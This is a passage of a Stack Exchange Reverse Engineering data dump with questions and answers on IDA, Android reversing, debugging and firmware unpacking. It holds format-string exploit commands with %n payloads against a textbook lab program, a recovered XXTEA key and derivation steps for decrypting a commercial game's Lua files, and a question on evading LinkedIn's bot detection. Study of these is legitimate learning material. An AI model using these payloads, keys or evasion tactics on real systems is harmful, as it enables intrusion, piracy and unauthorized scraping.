sure what the above variables represent but i dont think they represent the key since the key is meant to be 128bit string encoded as Hex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example of Encryption key: &lt;a href=&quot;https://static.packt-cdn.com/products/9781783284757/graphics/B0561_11_01.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://static.packt-cdn.com/products/9781783284757/graphics/B0561_11_01.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After More Digging i found this section in the function&#xA;&lt;a href=&quot;https://pastebin.com/N44prr2N&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/N44prr2N&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This section includes 32 hex Digits with a break of DCB 5 and DCB 4 within. I think that this is most likely the key but im unsure on how i would assemble what i have in the pastebin to a 128Bit key. I also don't know what DCB is (goin g to do research on it in a sec) and i don't know why there are breaks of 5 and 4 within the section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I went online and found a Hex to Ascii Converter and found that the hex digits do convert to Ascii. 7C converts to | and 78 converts to X just like the comments suggest but the problem i have now is that hex values such as 0xC dont convert to an Ascii value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link To the APK: &lt;a href=&quot;https://apkpure.com/taptap-heroes/com.westbund.heros.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://apkpure.com/taptap-heroes/com.westbund.heros.en&lt;/a&gt;&#xA;Link To Encrypted Lua File + SO: &lt;a href=&quot;https://www.mediafire.com/file/5ypqt5tk0scjwb5/LuaEncrypted.rar/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.mediafire.com/file/5ypqt5tk0scjwb5/LuaEncrypted.rar/file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: after looking at the pseudo for the function i found no sign of a XTEA key being used (i may be wrong). Although i did find that RSA endcoding was used for Lua files. I still don't know what or how to decode it if its using RSA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link To RSA: &lt;a href=&quot;https://pastebin.com/quNJNzYd&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://pastebin.com/quNJNzYd&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29110" LastEditorUserId="29110" LastEditDate="2019-07-26T11:38:09.660" LastActivityDate="2020-04-15T13:17:50.943" Title="Decrypting Lua Files" Tags="|ida|c++|android|game-hacking|lua|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21760" PostTypeId="2" ParentId="21757" CreationDate="2019-07-24T16:21:19.090" Score="1" Body="&lt;p&gt;There are plenty of ways to do what you want.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I recommend you to export the method you want to call and then use the &lt;code&gt;GetProcAddress&lt;/code&gt; function to get the address of it and call it. You can use the code sample from the MSDN; it should work as is in your case.&lt;/li&gt;&#xA;&lt;li&gt;You can get the loading address of your DLL: see &lt;a href=&quot;https://stackoverflow.com/questions/3472517/finding-the-memory-address-of-a-loaded-dll-in-a-process-in-c&quot;&gt;StackOverflow post&lt;/a&gt;. You need to calculate the offset to your function and add that to the loading address.&lt;/li&gt;&#xA;&lt;li&gt;You can get the current address of your code with some assembly code. See the &lt;a href=&quot;https://stackoverflow.com/questions/7932287/get-address-of-current-instruction-for-x86&quot;&gt;StackOverflow post&lt;/a&gt; for instance. Again, you need to calculate the offset to the function you want to call.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25844" LastEditorUserId="27930" LastEditDate="2019-07-24T17:10:47.860" LastActivityDate="2019-07-24T17:10:47.860" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21761" PostTypeId="1" AcceptedAnswerId="21762" CreationDate="2019-07-24T18:30:57.363" Score="0" ViewCount="366" Body="&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/EIJAq.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/EIJAq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hi!&#xA;So, the program print me a &lt;code&gt;Flag length is 32&lt;/code&gt;. As I understand &lt;code&gt;call strlen&lt;/code&gt; convert my flag to string of length. So, I want to remove that part &lt;code&gt;call strlen&lt;/code&gt; or somehow avoid it (maybe I'm not right at all, because I really bad in assembly and RE, it's my first CTF and what are your options)&lt;/p&gt;&#xA;" OwnerUserId="29121" LastActivityDate="2019-07-24T18:58:30.927" Title="How to remove line? [Help with CTF]" Tags="|ida|assembly|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21762" PostTypeId="2" ParentId="21761" CreationDate="2019-07-24T18:58:30.927" Score="1" Body="&lt;p&gt;I changed &lt;code&gt;call strlen&lt;/code&gt; to &lt;code&gt;call printf&lt;/code&gt; and got my flag. I am so happy and proud of myself. &lt;/p&gt;&#xA;" OwnerUserId="29121" LastActivityDate="2019-07-24T18:58:30.927" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21763" PostTypeId="1" CreationDate="2019-07-24T19:10:40.017" Score="1" ViewCount="61" Body="&lt;p&gt;I have a very simple exe that just uses CoCreateInstance to load a COM dll.  This dll contains 1 function.  I know where it is, I know what it's called etc.  I know where in the exe it calls it.  But I am unable to set a breakpoint that triggers using either IDA 7, or OllyDbg 1.1 or 2.0.  Anyone have any tips for getting a functioning breakpoint inside a COM dll?&lt;/p&gt;&#xA;" OwnerUserId="29132" LastActivityDate="2019-07-24T19:10:40.017" Title="Breakpoints in InProc COM object .dll?" Tags="|breakpoint|com|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21765" PostTypeId="1" AcceptedAnswerId="21775" CreationDate="2019-07-25T07:50:14.973" Score="0" ViewCount="307" Body="&lt;p&gt;I am studying from &quot;Hacking: The Art of Exploitation&quot; and in program &lt;a href=&quot;https://github.com/intere/hacking/blob/master/booksrc/fmt_vuln.c&quot; rel=&quot;nofollow noreferrer&quot;&gt;fmt_vuln.c&lt;/a&gt; format string is exploited. I am getting &lt;code&gt;Segmentation Fault&lt;/code&gt; error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking position of &lt;code&gt;AAAA&lt;/code&gt; on stack:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x&#xA;The right way to print user-controlled input:&#xA;AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x&#xA;The wrong way to print user-controlled input:&#xA;AAAA55756260.f7dd18c0.f7af4154.00000000.f7b523a0.ffffdfe8.ffffdb30.41414141&#xA;[*] test_val @ 0x555555755010 = -72 0xffffffb8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Witing to &lt;code&gt;test_value&lt;/code&gt; address&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./fmt_vuln $(printf &quot;\x10\x50\x75\x55&quot;)%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n&#xA;The right way to print user-controlled input:&#xA;PuU%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n&#xA;The wrong way to print user-controlled input:&#xA;Segmentation fault (core dumped)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As suggested in &lt;a href=&quot;https://stackoverflow.com/a/27214598/6810253&quot;&gt;this answer&lt;/a&gt; I have disabled ASLR and compiled without stack protection.&lt;/p&gt;&#xA;" OwnerUserId="29127" LastActivityDate="2019-07-26T20:24:52.540" Title="Unable to exploit format string vulenrability on Ubuntu 18.04.2 LTS" Tags="|linux|c|exploit|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21766" PostTypeId="2" ParentId="21759" CreationDate="2019-07-25T11:11:40.100" Score="6" Body="&lt;p&gt;xxtea encrypt with KEY: sxpDM2018&lt;/p&gt;&#xA;&#xA;&lt;p&gt;result&#xA;&lt;a href=&quot;https://pastebin.com/H1piR93u&quot; rel=&quot;noreferrer&quot;&gt;FightLogic.lua&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;how find the KEY&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;IDA&lt;/code&gt; look at &lt;code&gt;Function window&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;press &lt;code&gt;CTRL+F&lt;/code&gt; and type &lt;code&gt;xxtea_decrypt&lt;/code&gt;. double click first item and scroll up to see &lt;code&gt;cocos2d::FileUtilsAndroid::getData&lt;/code&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/U6IfO.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/U6IfO.png&quot; alt=&quot;result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;double click &lt;code&gt;cocos2d::FileUtilsAndroid::getData&lt;/code&gt; and press &lt;code&gt;F5&lt;/code&gt; to decompiler&#xA;&lt;a href=&quot;https://i.stack.imgur.com/IGm4G.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/IGm4G.png&quot; alt=&quot;result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;look at image &lt;code&gt;xxtea_decrypt&lt;/code&gt;, you can see &lt;code&gt;v34&lt;/code&gt; is KEY&#xA;scroll up and see, this is encrypt key&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;byte *xxtea_decrypt(byte *data, long data_len, byte *key, long key_len, long *ret_length)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3QGiF.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3QGiF.png&quot; alt=&quot;result&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I rewrite code in javascript and run it with Chrome DevTool&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var v45 = [896, 914, 915, 827, 756, 630, 499, 369, 252]&#xA;var v18 = 666&#xA;var v34 = []&#xA;for (var v17=0;v17&amp;lt;9;v17++) {&#xA; v19 = v45[v17]&#xA; v34.push((v19-v18)/2) //((((v19-v18)&amp;gt;&amp;gt;31) + (v19-v18)) &amp;lt;&amp;lt; 23) &amp;gt;&amp;gt; 24&#xA; v18 = (v19 - v17) - 222&#xA;}&#xA;// result sxpDM2018&#xA;console.log(String.fromCharCode.apply(null, v34))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Ofzbj.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ofzbj.png&quot; alt=&quot;final&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29082" LastEditorUserId="29082" LastEditDate="2019-07-26T07:39:59.943" LastActivityDate="2019-07-26T07:39:59.943" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="21767" PostTypeId="1" CreationDate="2019-07-25T13:47:14.313" Score="3" ViewCount="151" Body="&lt;p&gt;I am analyzing a dex file and to ease with reverse engineering, I converted it a jar so it could be decompiled. In the file &lt;code&gt;android/support/v17/leanback/media/MediaControllerGlue.class&lt;/code&gt;, the following import appears: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;import android.support.v4.media.session.MediaControllerCompat;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this class is not defined. In fact, there is no &lt;code&gt;android/support/v4/media&lt;/code&gt; package in the file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To confirm, this, I listed the referenced type in the &lt;code&gt;type_ids&lt;/code&gt; section of the dex file, and sure enough, the following type is present: &lt;code&gt;android/support/v4/media/MediaControllerCompat&lt;/code&gt;. However, when I then iterate over all entries in the &lt;code&gt;class_defs&lt;/code&gt; section, this class is nowhere to be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to Android (this is actually an Amazon Firestick APK) development/reverse engineering so I'm not sure how this is possible. Is there some way of defining classes in a separate library that would exist outside of the APK?&lt;/p&gt;&#xA;" OwnerUserId="28279" LastActivityDate="2021-04-19T01:47:04.993" Title="DEX file referenced type is not defined in file" Tags="|android|java|apk|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="21768" PostTypeId="2" ParentId="6228" CreationDate="2019-07-25T18:14:17.053" Score="1" Body="&lt;p&gt;There's an API: &lt;a href=&quot;https://docs.microsoft.com/en-us/previous-versions/bb417345(v=msdn.10)&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/previous-versions/bb417345(v=msdn.10)&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The mspatcha.dll and mspatchc.dll, which implement it, are under SYSTEM32 as late as of Windows 10.&lt;/p&gt;&#xA;&lt;p&gt;Couldn't find the docs for the format, though.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;Here's a fun fact: Microsoft Azure DevOps Server (formerly known as Team Foundation Server/TFS) uses the MSPatch format to store version controlled items. If you look at the &lt;code&gt;tbl_Content&lt;/code&gt; table, you'll see some records where the &lt;code&gt;Content&lt;/code&gt; field starts with the telling &lt;code&gt;PA31&lt;/code&gt; signature.&lt;/p&gt;&#xA;&lt;p&gt;Now, TFS is all managed code. It could be that TFS taps into &lt;code&gt;mspatchX.dll&lt;/code&gt; for resolving those records. Or alternatively, there might be a managed (read: easy to reverse) implementation of the PA31 decoding logic... Stay tuned.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;UPD: TFS makes a P/Invoke call into &lt;code&gt;msdelta.dll&lt;/code&gt;. Here is a managed API wrapper, reverse engineered out of TFS' code: &lt;a href=&quot;https://gist.github.com/sevaa/a49457319946379b60e885f6b5a9f5ca&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/sevaa/a49457319946379b60e885f6b5a9f5ca&lt;/a&gt; The debug symbols for msdelta.dll are out on the MS Symbol server. References to the source files can be seen at &lt;a href=&quot;https://windows-internals.com/source/files.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://windows-internals.com/source/files.html&lt;/a&gt; under base/compress/msdelta.&lt;/p&gt;&#xA;" OwnerUserId="27615" LastEditorUserId="27615" LastEditDate="2022-05-04T15:21:19.587" LastActivityDate="2022-05-04T15:21:19.587" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21770" PostTypeId="1" CreationDate="2019-07-26T01:11:37.887" Score="1" ViewCount="180" Body="&lt;p&gt;I noticed something very odd about Linkedin anti-bot behavior and I am not being able to fully understand it. Basically, there are multiple people who set their profiles to &lt;em&gt;public&lt;/em&gt;, allowing search engines such as Google to index them. If you initiate an anonymous browsing session and search for a profile, you will get a page that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(example for &lt;a href=&quot;https://www.linkedin.com/in/parag-agrawal-5a14742a&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.linkedin.com/in/parag-agrawal-5a14742a&lt;/a&gt;)&#xA;&lt;a href=&quot;https://i.stack.imgur.com/1k3mE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/1k3mE.png&quot; alt=&quot;public profile screenshot&quot;&gt;&lt;/a&gt;&#xA;If you try repeatedly, however, or if you test an automation software such as selenium for accessing these profiles, you will after a while be redirected to an authwall page, and no more public profiles will be visible to you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already tried to hide all kinds of fingerprintable data, such as IP, user agent, screen resolution (for canvas fingerprinting), but after a few requests, my access limit drops to one single public profile. I guess they make an analysis of the request pattern within their servers, making my section identifiable. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know which features are observed to determine whether a visitor is human or not, and how could I simulate human behavior. &lt;/p&gt;&#xA;" OwnerUserId="29137" LastActivityDate="2019-07-26T01:11:37.887" Title="Trying to understand linkedin's anti-robot system" Tags="|script|proxy|" AnswerCount="0" CommentCount="4" ClosedDate="2019-08-05T12:43:15.910" ContentLicense="CC BY-SA 4.0" />
  <row Id="21772" PostTypeId="2" ParentId="21765" CreationDate="2019-07-26T18:49:01.507" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;[*] test_val @ 0x555555755010 = -72 0xffffffb8&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This shows us that you are on a 64 bit system.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;$ ./fmt_vuln $(printf &quot;\x10\x50\x75\x55&quot;)%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yet you attempt to supply only the low 32-bits as your pointer value.  Whatever the value of the other 32-bits, they are overwhelmingly likely to be part of an invalid address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This may not be the only thing wrong, but by itself it is a clear mistake.&lt;/p&gt;&#xA;" OwnerUserId="2054" LastEditorUserId="2054" LastEditDate="2019-07-26T18:55:33.683" LastActivityDate="2019-07-26T18:55:33.683" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21773" PostTypeId="1" CreationDate="2019-07-26T19:01:31.203" Score="9" ViewCount="9393" Body="&lt;p&gt;&lt;strong&gt;TLDR&lt;/strong&gt; I want to do live debugging of a java program on a linux machine, and don't how/what debugger to attach to the JVM to get this done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I expect that this is a well-solved problem, but I lack the terminology to find a solution after several hours of searching:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a java program (stored in a jar file) that I'd like to observe (reverse engineer?) it &lt;em&gt;while&lt;/em&gt; it runs. I see a lot of &lt;em&gt;decompilation&lt;/em&gt; support for java - this isn't what I'm interested in at all, so please refrain from explaining how to do this. A major problem I'm having in my search is running into these kinds of answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start the program and find the PID.&lt;/li&gt;&#xA;&lt;li&gt;Attach a debugger to the JVM somehow (this is what I don't know how to do, and lack the language to search for, apparently)&lt;/li&gt;&#xA;&lt;li&gt;Use the debugger to set breakpoints, read/write arbitrary memory of the JVM, see the JVM's registers and stack.&lt;/li&gt;&#xA;&lt;li&gt;Use a simple, open-source command-line tool to do this, like Radare2 or GDB.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I expect to be reading java bytecode (the instruction set for the JVM), not java source, while I do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am used to using Radare2 and GDB for native code (crackmes, CTF stuff, microcorruption). I also see that they both technically support Java, but I'm having a hard time figuring out &lt;em&gt;how&lt;/em&gt; to do this, exactly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need help with 2 things: &lt;strong&gt;what software to use&lt;/strong&gt; and &lt;strong&gt;how to attach the program to the process&lt;/strong&gt;. Bonus points if I can use radare!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear, the Java in question is running on a linux PC, not on an Android phone or anything like that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also read about JDB, but it seems like the code needs to be compiled with debug flags, and this is not possible for my situation -- it also doesn't seem like what I'm looking for.&lt;/p&gt;&#xA;" OwnerUserId="29146" LastActivityDate="2023-06-03T00:01:15.470" Title="How to do debug a running java process in linux?" Tags="|linux|radare2|debuggers|java|disassemblers|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21774" PostTypeId="1" CreationDate="2019-07-26T19:14:41.873" Score="3" ViewCount="919" Body="&lt;p&gt;I'm considering writing a Ghidra extension that would apply FLIRT signatures, but I'm not sure whether the license would support that, or whether FLIRT is dependent on inputs from IDA's architecture and analysis engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know whether is technically and legally possible?&lt;/p&gt;&#xA;" OwnerUserId="28032" LastEditorUserId="27930" LastEditDate="2019-07-27T12:42:06.467" LastActivityDate="2019-07-27T12:42:06.467" Title="How does IDA apply its FLIRT signatures and how are they licenced?" Tags="|ida|ghidra|flirt-signatures|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21775" PostTypeId="2" ParentId="21765" CreationDate="2019-07-26T20:07:17.753" Score="1" Body="&lt;p&gt;As @Chris Stratton already said, you don't give the right pointer value - you want to put &lt;code&gt;\x10\x50\x75\x55\x55\x55\x00\x00&lt;/code&gt; as that value. Your segfault comes from instruction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov dword [rax], r13d&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;rax&lt;/code&gt; = &lt;code&gt;0x7838302555755010&lt;/code&gt;, which confirms that you need to put these &lt;code&gt;4&lt;/code&gt; extra bytes (to overwrite &lt;code&gt;78383025&lt;/code&gt; part). I do not know however how you can pass &lt;code&gt;NULL&lt;/code&gt; bytes in bash as an argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a workaround, you can compile this program for &lt;code&gt;32&lt;/code&gt;bit architecture using &lt;code&gt;-m32&lt;/code&gt; option in GCC. Then use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./fmt_vuln AAAA%08x.%08x.%08x.%08x&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[*] test_val @ 0x56557008 = -72 0xffffffb8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./fmt_vuln $(printf &quot;\x08\x70\x55\x56&quot;)%08x.%08x.%08x.%n&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and finally you get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[*] test_val @ 0x56557008 = 31 0x0000001f&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; when in doubt, just run your program in a debugger (I used &lt;a href=&quot;https://rada.re/r/&quot; rel=&quot;nofollow noreferrer&quot;&gt;radare2&lt;/a&gt; for instance) - this way you can get the instruction causing segfault and you can see register values at that moment.&lt;/p&gt;&#xA;" OwnerUserId="27930" LastEditorUserId="27930" LastEditDate="2019-07-26T20:24:52.540" LastActivityDate="2019-07-26T20:24:52.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="21776" PostTypeId="1" AcceptedAnswerId="21777" CreationDate="2019-07-26T21:27:40.030" Score="2" ViewCount="2246" Body="&lt;p&gt;Hello i'm trying to unpack file Download.img from alcatel mw40 (based on qualcomm 9x07) firmware but it seems i can't do it with 7zip or mount the img file . someone already extracted the file which will give partition images like this : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;appsboot_fastboot.mbn&#xA;appsboot.mbn&#xA;b.vhd&#xA;config.xml&#xA;custom_info.xml&#xA;efs.mbn&#xA;ENPRG9x07.mbn&#xA;jrdresource.ubi&#xA;mdm9607-boot.img&#xA;mdm9607-sysfs.ubi&#xA;NON-HLOS.ubi&#xA;NPRG9x07.mbn&#xA;partition.mbn&#xA;rpm.mbn&#xA;sbl1.mbn&#xA;tz.mbn&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;under linux the format of the file is : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;file Download.img &#xA;Download.img: dBase III DBT, version number 0, next free block index 65545, 1st item &quot;D\343\006&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;anyone can show how to unpack this file to get the list of mentioned files above&#xA;thanks for help , i'm trying to learn how.&#xA;file link  &lt;a href=&quot;http://www.mediafire.com/file/abggflriq8ukmge/Download.img&quot; rel=&quot;nofollow noreferrer&quot;&gt;Download.img&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29147" LastActivityDate="2020-07-25T06:06:27.237" Title="unpacking Download.img firmware for alcatel mw40" Tags="|firmware|unpacking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="21777" PostTypeId="2" ParentId="21776" CreationDate="2019-07-27T03:59:38.277" Score="4" Body="&lt;p&gt;The file format consists of a file table starting at 0xC8 with each entry being:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;char filename[48]&lt;/li&gt;&#xA;&lt;li&gt;uint32_t position&lt;/li&gt;&#xA;&lt;li&gt;uint32_t size&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;position&lt;/code&gt; indicates the position in the archive and &lt;code&gt;size&lt;/code&gt; the archived file's size.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run &lt;code&gt;code.py Download.img&lt;/code&gt; to extract the files and place them into &lt;code&gt;Download.img.out/&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from __future__ import print_function&#xA;import os&#xA;import sys&#xA;import struct&#xA;&#xA;if len(sys.argv) &amp;lt;= 1:&#xA;    print('usage: {} file'.format(sys.argv[0]))&#xA;    exit(1)&#xA;&#xA;path = '{}.out/'.format(sys.argv[1])&#xA;&#xA;if not os.path.exists(path):&#xA;    os.makedirs(path)&#xA;&#xA;with open(sys.argv[1], 'rb') as f:&#xA;    i = 0&#xA;    while True:&#xA;        f.seek(0xC8 + i*0x50)&#xA;        name = f.read(0x48).decode('ascii').split('\x00')[0]&#xA;        if (len(name) == 0): break&#xA;        if struct.calcsize('II') == 0x08:&#xA;            v = struct.unpack('II', f.read(0x08))&#xA;        elif struct.calcsize('LL') == 0x08:&#xA;            v = struct.unpack('LL', f.read(0x08))&#xA;        else:&#xA;            print(&quot;Unsupported platform&quot;)&#xA;            exit(1)&#xA;        f.seek(v[0])&#xA;        out = open('{}{}'.format((path, name), 'wb'))&#xA;        out.write(f.read(v[1]))&#xA;        out.close()&#xA;        i += 1&#xA;    f.close()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29082" LastEditorUserId="30337" LastEditDate="2019-11-29T20:02:07.837" LastActivityDate="2019-11-29T20:02:07.837" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="21778" PostTypeId="2" ParentId="21643" CreationDate="2019-07-27T09:35:05.973" Score="6" Body="&lt;p&gt;There is no such functionality in x64dbg out of the box, but we can make your own by writing a plugin! There are many examples (often with source code) available on &lt;a href=&quot;http://plugins.x64dbg.com&quot; rel=&quot;noreferrer&quot;&gt;http://plugins.x64dbg.com&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case you will want to register a callback for &lt;code&gt;CB_STEPPED&lt;/code&gt;, which gets called after every step. The basic functionality could look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PLUG_EXPORT void CBSTEPPED(CBTYPE, PLUG_CB_STEPPED* info)&#xA;{&#xA;    REGDUMP regdump;&#xA;    DbgGetRegDump(&amp;amp;regdump);&#xA;&#xA;    auto&amp;amp; r = regdump.regcontext;&#xA;&#xA;    _plugin_logprintf(R&quot;(eax=%p ebx=%p ecx=%p&#xA;edx=%p esi=%p edi=%p&#xA;eip=%p esp=%p ebp=%p&#xA;)&quot;,&#xA;r.cax, r.cbx, r.ccx,&#xA;r.cdx, r.csi, r.cdi,&#xA;r.cip, r.csp, r.cbp);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I added 64-bit support and a menu to enable/disable this functionality and put the source code on GitHub: &lt;a href=&quot;https://github.com/mrexodia/regstep&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/mrexodia/regstep&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This functionality is dubiously useful in my opinion, because the changes to register values are highlighted in red in the register view and the affected registers of the selected instruction are underlined there as well. In addition you have the info box below the CPU view, which shows you all relevant values for the currently selected instruction too, but if you think logging registers every step is useful for you feel free to extend the plugin to your liking.&lt;/p&gt;&#xA;" OwnerUserId="2221" LastActivityDate="2019-07-27T09:35:05.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
